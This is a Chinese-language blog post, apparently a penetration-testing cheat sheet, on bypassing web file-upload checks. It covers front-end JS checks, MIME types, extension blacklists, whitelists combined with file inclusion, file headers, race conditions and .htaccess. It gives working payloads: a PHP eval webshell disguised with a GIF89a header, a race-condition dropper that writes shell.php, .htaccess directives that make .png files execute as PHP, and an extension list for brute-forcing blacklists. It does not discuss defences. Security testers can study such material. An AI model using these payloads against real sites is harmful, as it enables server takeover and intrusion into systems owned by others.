web渗透—文件上传
文件上传
1、前端验证
原理:使用js代码对文件的类型进行限制
绕过:
(1)禁用js代码

(2)修改js代码
将js校验改为true
(3)BP抓包修改文件后缀名称
上传1.jpg(内容为一句话木马);BP抓包修改后缀名为php
2、MIME检查
原理:MIME检测就是检测content-type的值来判断上传的文件的类型是否合法;conten-type的值用来确定文件的类型
绕过:bp抓包修改content-typ绕过验证

3、黑名单检测
原理:后端代码定义一个黑名单;文件类型在黑名单中无法上传
绕过:
漏洞本质就是黑名单不够完整;直接bp爆破文件后缀名称即可;将这几种绕过的方法的后缀全部添加到字典种;无脑梭哈!)
(1)上传特性文件htaccess文件绕过!
(2)大小写绕过
(3)空格绕过
Windows有特性会自动把后缀后面的空格删除掉
(4).绕过
Windows下.和空格都会被当做非法字符处理掉
(5)php绕过
.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess
(6)双写绕过
//让所有文件都以phpz执行
Sethandler application/x-httpd-php
4、白名单检测
原理:设置白名单;上传文件类型符合白名单内容文件才能长传成功!相比于黑名单更加安全;难以绕过!
绕过:结合文件包含漏洞上传webshell
(1)文件包含:在php中具有include,include_once,require,require_once函数可以包含其他文件;无论是什么类型的文件;只要文件内容符合php基本语法就会被解释和执行;利用文件包含漏洞就可以上传图片马;即绕过了文件上传的验证;也能执行webshell
5、文件头部检查
原理:后端代码对上传文件的头部进行检查;若不符合则上传失败
绕过:bp抓包;在文件内容中添加文件头部既可以绕过!或者使用010editor中添加文件头部
GIF89a<?php @eval($_POST['cmd']);?>
//GIF89a就是文件头部
6、条件竞争
原理:后端代码逻辑是先进行文件上传;在进行逻辑判断;可以利用这个时间差进行webshell上传
//1.php内容;结合上述绕过方法上传
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST['cmd'])?>');?>
//访问url/?upload/1.php,会在网站目录中生成shell.php,1.php被删除但是shell.php不会被删除!
7、.htaccess
原理:.htaccess是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess文件被放置在一个 "通过Apache Web服务器加载 "的目录中时;.htaccess文件会被Apache Web服务器软件检测并执行。这些.htaccess文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。
绕过:首先上传一个png木马;然后在上传一个.htaccess配置文件;该配置文件的作用就是将png文件当作php文件执行;那么上传的png图片马就可以触发了;使用蚁剑连接就可以了!
//.htaccess内容
AddType application/x-httpd-php .png  			//.png文件当作php文件解析

8、文件内容检测
绕过:上传图片马;利用文件包含执行图片马中的代码!

 纵有疾风起,人生不言弃
        纵有疾风起,人生不言弃
     
                
            
         
         浙公网安备 33010602011771号
浙公网安备 33010602011771号